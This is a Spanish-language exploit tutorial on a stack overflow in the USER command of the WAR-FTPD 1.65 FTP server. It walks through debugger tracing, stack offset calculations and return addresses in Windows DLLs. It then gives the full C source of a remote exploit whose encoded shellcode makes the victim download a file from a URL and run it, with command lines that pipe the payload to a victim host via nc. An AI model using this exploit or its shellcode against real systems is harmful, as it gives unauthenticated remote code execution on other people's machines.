Vale, vamos a seguir pensando, si hemos escrito sobre una zona no paginada que ha hecho ejecutar el handler de la excepcion, significa que la funcion que esta overflowando un buffer se pasa de largo, es decir, overflowea el buffer, overflowea todos los datos contiguos al buffer, y por ultimo llega a una zona no paginada donde intenta escribir, y es donde el windows peta (mas exactamente ejecuta un handler de excepcion que peta). O sea, que simplemente podria ser cuestion de no meter tantos caracteres al buffer para no llegar a esa zona no paginada. Solo hay una manera de saberlo... Probemos: [root@trastu /]# perl -e 'print "USER ","a"x1000,"\n"' | nc 192.168.0.2 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready punt! Lo mismo, el war peta en el mismo sitio. Sigamos... [root@trastu /]# perl -e 'print "USER ","a"x500,"\n"' | nc 192.168.0.2 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready punt! Ostias, el programa se tara, se pone a loggear lo mismo sin parar, pero el Watson no aparece con la excepcion. Es momento de dar una vuelta de tuerca a las neuronas, que a veces sirven para algo mas que para absorber cerveza... Bueno, el programa no para de loggear y esta claro que le hemos chafado todo lo chafable.. Se me ocurre una hipotesis que explicaria lo que esta sucediendo, consiste mas o menos en que la rutina en cuestion este hecha de esta forma: ... recibedatos() loggea: _try { loggeadatos } except sigsegv { goto loggea } Esto es lo que en el mundillo del assembler de win32 se le llama como exception handler de tipo 2 o de "por thread" que utiliza la arquitectura SEH (Structured Exception Handler) del Windows. Cuando el procesador interrumpe la ejecucion de un proceso por que ha habido una excepcion de hardware (en este caso del procesador) va a buscar en la tabla IDT (referenciada por el registro IDTR) que esta en memoria que es lo que ha de ejecutar por haberse producido esa exception. El windows toma el control y utilizando el registro FS que apunta al TIB (thread information block) comienza a ejecutar todos los exceptions handles chaineados que hayan hasta que uno le devuelva un 0 en eax. Otro posible handler es el de tipo 1 o de "por proceso", este se coloca con el api SetUnhandledExceptionFilter y no se puede chainear, o sea solo puede haber uno para todo un proceso (incluido sus threads). Este se ejecuta cuando no hay un handler de tipo 2 y cuando el programa no tiene debugger. BUSCANDO EL ARCA PERDIDA Bien, visto lo visto, nos vemos obligados a buscar la funcion que overflowea el buffer a mano. Con la ayuda de los breakpoints del Sice, traceamos el programa y buscamos la rutina. Esto podria llegar a ser muy largo y tedioso pero utilizando los breakpoints de mensajes de ventana,los registros de debug del pentium que nos permite interrumpir los programas cuando estos acceden a zonas de memoria que les digamos, y con unos cuantos comandos mas del softice, nos hacemos rapidamente con la rutina que esta jodiendo la marrana. Si quereis mas informacion sobre la busqueda de codigo con el softice, en la red se encuentran manuales de cracking que explican infinidad de metodos. Unos de los mas interesantes, entretenidos y didacticos son los essays de +ORC, los cuales os recomiendo su lectura para pasar un buen rato. Lo unico necesario es utilizar un poco la cabeza y saber que esta uno buscando (metodo Zen Cracking con imprescindible vodka & soda en la mano ;)). Finalmente encontramos nuestra instruccion en la direccion 4044f9 .. .. .. 4044f9 Call 44cfc4 .. .. Que no es mas que un call al "sprintf" de la libreria msvcrt.dll. (Si teneis cargados los exports del msvcrt.dll vereis el call como 4044f9 Call sprintf ) Bingooo!!! Buscamos el ret de la subrutina y lo encontramos en: 404605 Ret 0004 COMPROBANDO EL HANDLER DE SEH Y VIENDO QUIEN ES QUIEN Ahora comprobaremos la existencia de un handler de excepcion que nos oculta al watson. Para ello hacemos lo siguiente: En el S-ice metemos un breakpoint de ejecucion: addr war-ftpd bpx 404605 En el linux lanzamos el ataque: [root@trastu /]# perl -e 'print "USER ","A"x500,"\n"' | nc 192.168.0.2 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready punt! El S-ice saca el pantallazo en el ret, pulsamos F8 y tenemos: 0167:41414141 INVALID 0167:41414143 INVALID Lineaaa!! Ha overflowado la IP y se nos ha ido a nuestra querida direccion 41414141 ("AAAA"), si volvemos a pulsar F8 veremos que el war sigue ejecutandose sin rechistar ya que se ha ejecutado el exception handler, y el S-ice anda un poco perdido. Si comprobamos el TIB, inspeccionamos el registro FS vemos que el handler no es de tipo 2, o sea que tiene que ser de tipo 1 y ha sido puesta en algun momento por el programa(o sus librerias) con el SetUnhandledExceptionFilter. Pero en definitiva, ESTE ES UN OVERFLOW NORMAL DE PILA!!!! REENCUENTRO CON VIEJOS AMIGOS El warftpd hace la siguiente llamada al snprintf, sprintf ( variable local de pila=ECX , "[L 2001 fecha actual] AAAAAA.. AAAAA.....AAAAAAAA cntr User from 192.168.0.1 logged out" ); Como podemos comprobar esas son nuestras A's pero el war las ha precedido de "[L 2001 fecha actual]" y lo que es peor, como ya se vera luego, es que lo ha finalizado con "cntr User from 192.168.0.1 logged out". RECOPILANDO INFO En Win98, en el momento de hacer el sprintf, ESP vale 00ccfafc, la variable local esta referenciada en ECX que vale 00ccfb18. Vamos a ver cuanto espacio tenemos en la pila, tecleamos en el S-ice: addr war-ftpd D CCFB18 Vemos la pila y vemos que acaba en 0xCCFFFF. Ahora reseteamos todo y vemos la situacion cuando se alcanza el ret. BPX 404605 Atacamos y cuando nos da el pantallazo tenemos varios datos interesantes: ESP=CCFD18 EBP=CCFD78 EBX=CCFE14 Bueno, ahora repasamos y sacamos la calculadora: Bytes antes del ret=> CCFD18-CCFAFC=540 bytes. Despues del ret tenemos=>CCFFFF-CCFD1C=739 bytes. Estos numeros no estan pulidos ya que nuestro USER solo puede utilizar un porcentaje de estos buffers. Y COMIENZAN LOS PROBLEMAS Ahora empezamos a dislumbrar los problemas, empecemos a enumerarlos: 1.Como el war nos finaliza la cadena con ese "has logged out", no podremos utilizar el 0 del fin de cadena para saltar al segmento de codigo del warftpd en alguna instruccion CALL ESP o equivalente, por lo que tendremos que utilizar las librerias de Windows para tomar el control del overflow. Bienvenido al mundo de las versiones de windows. Esto ya lo retomaremos mas tarde. 2.Entre el snprintf y el ret, la rutina modifica muchos bytes del buffer antes y despues del ret,a parte hemos de restar el tamaÏo del string que antepone y que finaliza la cadena del log, por lo que con estas correcciones tenemos: Bytes antes del ret=450bytes Bytes despues=650bytes 3. Bytes prohibidos en el buffer, el nombre de usuario no puede tener los bytes 0x40 ("@"),0x0d(intro),0x0F, ni 0. Con lo que la shellcode no podra tener estos caracteres. NOS CREAMOS UNA MINISHELLCODE Bueno, con esta informacion, ahora debemos de crearnos una shellcode peque¤a y que no contenga los caracteres prohibidos. Esta parte me la salto, para mas detalles sobre como hacer shellcodes para win32, leeros el articulo de Raise. Finalmente, con esfuerzo, consigo hacerme una shellcode de 350 bytes a los que sumo espacio para meter una url de aprox 50 bytes con lo que finalmente obtengo la shellcode de 407 bytes, y con el contenido minimamente encriptado para no ir ense¤ando las entra¤as a todos los sniffers y logs del mundo. A GRANDES PROBLEMAS GRANDES REMEDIOS Bien, nos encontramos con que no podemos utilizar el modulo del programa para saltar alli y darle la ejecucion a la pila, ya que este esta en la zona 0x0040xxxx y no podemos conseguir un 0 para chafar la IP debido a que la cadena acaba en "has logged out"\0. Esto nos obliga a buscar una instruccion amiga en alguna dll cargada en el contexto del programa, y aqui es donde empiezan los verdaderos problemas, si pudieramos saltar al modulo warftpd.exe con la ayuda del 0 tendriamos un xploit que funcionaria en todas las plataformas sin tener que modificar nada, ahora tendremos que echar mano de las dlls de Windows mapeadas por el proceso y su universo de versiones. Echo un vistazo y me doy cuenta de que un call o jmp esp esta solo en las librerias de windows que mas cambian entre versiones, por lo que explotar un sistema desconocido podria ser una odisea, adivinando versiones y demas... Vamos a ver que mas tenemos, ahora le echo un ojo a los datos que marque como interesantes cuando se producia el ret, es decir, EBP y EBX. En el momento del ret EBP apunta a una zona de pila posterior al retadress, podriamos utilizar esto para buscar en las librerias un CALL/JMP EBP que es mucho mas comun que no los JMP ESP, y lo podremos encontrar en librerias mas estables del windows. El problema es que ebp variara mucho si el war esta en win98 o si esta en NT/2000 por lo que vamos a generar otra shellcode que encapsulara a la primera y sera muy flexible teniendo en cuenta que su inicio de ejecucion puede variar enormemente debido a ebp: SHELLCODE 2, MULTIWINDOWS nop <-iniciobuffer . nop SHELLCODE1 PROPIAMENTE DICHA (407 bytes) bytes irrelevantes ke kambiara el war ccfd18: retaddress->apunta a instruccion de libreria con call ebp o jmp ebp [ccfd78 en windows98] ccfd1c: bytes irrelevantes ke kambiara el war nop .. ccfd78: nop nop .. nop add esp,FFFFFE3E jmp esp \0 Como se puede ver ahora hay un nivel de indireccion mas, el call ebp llevara la ejecucion a la zona de memoria alta de nops que al final saltara a la zona baja de nops donde finalmente se ejecutara la shell original. Como vemos, para realizar esto, solo tenemos que paddearla con nops antes y detras todo lo que podamos y al final meter una instruccion de resta de esp (en este caso sumamos -300 para que no de ningun 0 en los codeops) y saltar a ella, ya que las pilas seran diferentes para NT y win9x y no debemos hardcodear las direcciones. BUSCANDO OFFSETS DESESPERADAMENTE Ahora es cuestion de buscar algunos offsets en librerias de Windows que sepa que no varien mucho en el tiempo y que contengan mis instrucciones favoritas CALL EBP,JMP EBP. Esto se consigue instalando todas las versiones de NT, yo lo hago con ghost para cambiar de tipo de NT en 2-3 minutos, y luego ejecutar el programa listdlls que nos dira que librerias hay instaladas en el contexto del proceso war-ftpd. Al tener el sistema flexible de explotacion nos hacen falta pocos offsets. Win9x que lo encontramos en el kernel32.dll dir. 0xbff941e2-->CALL EBP Uno para NT SP3-SP6 originales->0x779e2b2e libreria MSVCRT.DLL Otro para NT's SP6 con Internet Explorer 5 o posterior en 0x77df53f7 RESULTADO FINAL Finalmente, nos generamos un programa en C que genera esta segunda shellcode a partir de la primera que esta hecha en asm y saca toda la shellcode resultante por pantalla. Al payload del xploit le pongo un codigo que se conecta a una pagina web, baja un archivo determinado y lo ejecuta, en este caso el archivo al que apunto es un juego de ping-pong de MSX. Llega el momento de la verdad, el momento de explotar el warftpd... [root@trastu exploitwar165]# warexp 2 http://192.168.0.1/pinpon.exe | nc 192.168.0.2 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. 331 User name okay, Need password. <---Pulsar Ctrl-C punt! En el Windows de la maquina atacada la pantalla da un flash, el war-ftpd se esfuma, y el juego aparece, despues de la dura batalla, nos tomamos nuestro merecido descanso... Eid0 http://www.micro-electronica.com eid0@micro-electronica.com CODIGO FUENTE EXPLOIT WAREXP.C ///////////////////////////////////////////////////////// // Remote Xploit for Warftpd 1.65 ///////////////////////////////////////////////////////// // // This Xploit forces a remote Windoze war-ftpd to download a program // from an url and execute it with VISIBLE mode. // It doesn't need any account as the overflow is in the command USER. // Don't bother to ask me how to change the payload to be invisible. // The world don't need script kiddies. // World need people thinking themselves. // Peace // // Compilation: gcc warexploit.c -o warexp // // Execution: // warexp typeofwindows url | nc ipvictim portftp(21) // // Example // warexp 0 http://www.myhost.com/pingpong.exe | nc victimhost 21 // 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready // 220 Please enter your user name. // 331 User name okay, Need password. // <--Press Ctrl-C or put any password // punt! // // Greetz to: Raise, and all people in #netsearch // Dedicated to AnnA: I love you // // eid0 // eid0@micro-electronica.com // http://www.micro-electronica.com // explanatory article in: // http://www.netsearch-ezine.com ezine #7 or // http://www.micro-electronica.com/docz/infoexploitwarftpd.htm // ///////////////////////////////////////////////////////////////// #include #include #include //#define OVERLEN 585 #define NOP 0x90 unsigned char astroploit[] = {0x54,0x5F,0x33,0xC0,0x50,0xF7,0xD0,0x50,0x59,0xF2,0xAE,0x39,0x47, 0xFC,0x75,0xF9, 0x59,0xB1,0xB8,0x8B,0xC7,0x48,0x80,0x30,0x99,0xE2, 0xFA,0x83,0xE4,0xFC,0x33,0xF6, 0x96,0xBB,0x11,0x44,0xCA,0x44,0xC1, 0xEB,0x08,0x56,0xFF,0x13,0x8B,0xD0,0xFC,0x33, 0xC9,0xB1,0x06,0xAC, 0x84,0xC0,0x75,0xFB,0x52,0x51,0x56,0x52,0x66,0xBB,0x18,0xCA,0xFF, 0x13,0xAB,0x59,0x5A,0xE2,0xEC,0xAC,0x84,0xC0,0x75,0xFB,0x66,0xBB, 0x44,0xCA, 0x56,0xFF,0x13,0x8B,0xD0,0xFC,0x33,0xC9,0xB1,0x03,0xAC, 0x84,0xC0,0x75,0xFB,0x52, 0x51,0x56,0x52,0x66,0xBB,0x18,0xCA,0xFF, 0x13,0xAB,0x59,0x5A,0xE2,0xEC,0xAC,0x84, 0xC0,0x75,0xFB,0x33,0xDB, 0x53,0x53,0x53,0x43,0x53,0x4B,0x53,0xFF,0x57,0xF4,0x53, 0x53,0x53, 0x53,0x56,0x50,0xFF,0x57,0xF8,0x50,0xAC,0x84,0xC0,0x75,0xFB,0x58, 0x89, 0x37,0x50,0xAC,0x84,0xC0,0x75,0xFB,0xB8,0xFF,0x0F,0xD4,0x30, 0xC1,0xE8,0x0C,0x8B, 0xE8,0x58,0x50,0x8B,0xF7,0x83,0xC6,0x04,0x55, 0x33,0xDB,0x53,0xFF,0x57,0xE0,0x89, 0x46,0x04,0x58,0x56,0x55,0xFF, 0x76,0x04,0x50,0xFF,0x57,0xFC,0x53,0xFF,0x37,0xFF, 0x57,0xE8,0xFF, 0x36,0xFF,0x76,0x04,0x50,0x8B,0xD8,0xFF,0x57,0xEC,0x53,0xFF,0x57, 0xF0,0x33,0xDB,0x83,0xC3,0x05,0x53,0xFF,0x37,0xFF,0x57,0xDC,0xFF, 0x57,0xE4,0x4B, 0x45,0x52,0x4E,0x45,0x4C,0x33,0x32,0x00,0x57,0x69, 0x6E,0x45,0x78,0x65,0x63,0x00, 0x47,0x6C,0x6F,0x62,0x61,0x6C,0x41, 0x6C,0x6C,0x6F,0x63,0x00,0x45,0x78,0x69,0x74, 0x50,0x72,0x6F,0x63, 0x65,0x73,0x73,0x00,0x5F,0x6C,0x63,0x72,0x65,0x61,0x74,0x00, 0x5F, 0x6C,0x77,0x72,0x69,0x74,0x65,0x00,0x5F,0x6C,0x63,0x6C,0x6F,0x73, 0x65,0x00, 0x57,0x49,0x4E,0x49,0x4E,0x45,0x54,0x00,0x49,0x6E,0x74, 0x65,0x72,0x6E,0x65,0x74, 0x4F,0x70,0x65,0x6E,0x41,0x00,0x49,0x6E, 0x74,0x65,0x72,0x6E,0x65,0x74,0x4F,0x70, 0x65,0x6E,0x55,0x72,0x6C, 0x41,0x00,0x49,0x6E,0x74,0x65,0x72,0x6E,0x65,0x74,0x52, 0x65,0x61, 0x64,0x46,0x69,0x6C,0x65,0x00,0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F, 0x77, 0x77,0x77,0x2E,0x6D,0x69,0x63,0x72,0x6F,0x2D,0x65,0x6C,0x65, 0x63,0x74,0x72,0x6F, 0x6E,0x69,0x63,0x61,0x2E,0x63,0x6F,0x6D,0x2F, 0x68,0x61,0x63,0x6B,0x65,0x61,0x64, 0x6F,0x2E,0x65,0x78,0x65,0x00, 0x68,0x61,0x63,0x6B,0x65,0x61,0x64,0x6F,0x2E,0x65, 0x78,0x65,0x00, 0xFF,0xFF,0xFF,0xFF}; int aux; unsigned int retoffsets[]={0xbff941e2,0x779e2b2e,0x77df53f7}; //char targets[]={"win98SE Castellano","WinNT SP4-SP6", // "WinNT SP6-IE5.5"}; int main(int argc,char * argv[]) { char * buffer; unsigned int * temp; char comando[6]="USER "; int lencomando; unsigned int lenstack,lenastroploit; unsigned int offset; char jmpesp[]={0x81,0xc4,0x3e,0xfe,0xFF,0xFF,0xFF,0xe4}; //OPCODES DE add esp-450;jmp esp if (argc<3) { printf ("War-ftpd 1.65 Remote Exploit Demonstration by eid0\nThis exploits forces war-ftpd to download a file from an url and executes it in VISIBLE mode.\nUsage: %s typehost url | nc victimhost 21(ftp-port)\nWindows types:\n0 ->%s\n1 ->%s\n2 ->%s\n", argv[0],"win98SE Castellano(Spanish)","WinNT SP4-SP6 with IE<5", "WinNT SP6 with IE5.5.\nThe url must not excede 45 characters."); return 0; } lencomando=strlen(comando); buffer=malloc(3000); memset(buffer,NOP,3000); memcpy(buffer,comando,lencomando); lenstack=0xccfd18-0xccfb18; lenastroploit=sizeof(astroploit); strcpy(&(astroploit[0x158]),argv[2]); //an xploitable xploit xD don't suid it aux=strlen(argv[2]); while (((argv[2])[aux] != '/') && (aux>=0)) aux--; if (!aux) {printf("Bad url,talking head...\nExiting...\n");return 0;} strcpy(&astroploit[0x158+strlen(argv[2])+1],&((argv[2])[aux+1])); //printf("\n->cadena=%s\n",&((argv[2])[aux+1])); for (offset=0xdf;offset<(lenastroploit-4);offset++) astroploit[offset]^=0x99; temp=(unsigned int *)&(buffer[lencomando+lenstack-27]); *(temp)=retoffsets[atoi(argv[1])]; memcpy((char *)((unsigned int)temp)-lenastroploit, astroploit,lenastroploit); ((unsigned int)temp)+=4; ((unsigned int)temp)+=300; memcpy(temp,&(jmpesp),sizeof(jmpesp)); ((unsigned int)temp)+=sizeof(jmpesp); *((int *)temp)=0x0a0d; lenastroploit=strlen(buffer); write(1,buffer,lenastroploit); return(0); }